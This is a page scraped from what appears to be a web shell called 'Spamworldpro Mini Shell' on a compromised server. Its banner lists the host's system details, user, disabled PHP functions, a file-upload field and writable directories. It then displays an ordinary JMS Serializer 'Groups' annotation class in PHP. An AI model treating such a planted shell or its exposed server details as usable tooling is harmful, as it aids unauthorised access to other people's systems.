Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mautic.corals.io/vendor/jms/serializer/src/Annotation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mautic.corals.io/vendor/jms/serializer/src/Annotation/Groups.php
<?php

declare(strict_types=1);

namespace JMS\Serializer\Annotation;

/**
 * @Annotation
 * @Target({"PROPERTY","METHOD","ANNOTATION"})
 */
#[\Attribute(\Attribute::TARGET_METHOD | \Attribute::TARGET_PROPERTY)]
final class Groups implements SerializerAttribute
{
    use AnnotationUtilsTrait;

    /** @var array<string> @Required */
    public $groups = [];

    public function __construct(array $values = [], array $groups = [])
    {
        $vars = get_defined_vars();
        /*
            if someone wants to set as Groups(['value' => '...']) this check will miserably fail (only one group with 'value' as only key).
            That is because doctrine annotations uses for @Groups("abc") the same values content (buy validation will fail since groups has to be an array).
            All the other cases should work as expected.
            The alternative here is to use the explicit syntax  Groups(groups=['value' => '...'])
        */
        if (count($values) > 0 && ((!isset($values['value']) && !isset($values['groups'])) || count($values) > 1) && 0 === count($groups)) {
            $vars['groups'] = $values;
            $vars['values'] = [];
        }

        $this->loadAnnotationParameters($vars);
    }
}

Spamworldpro Mini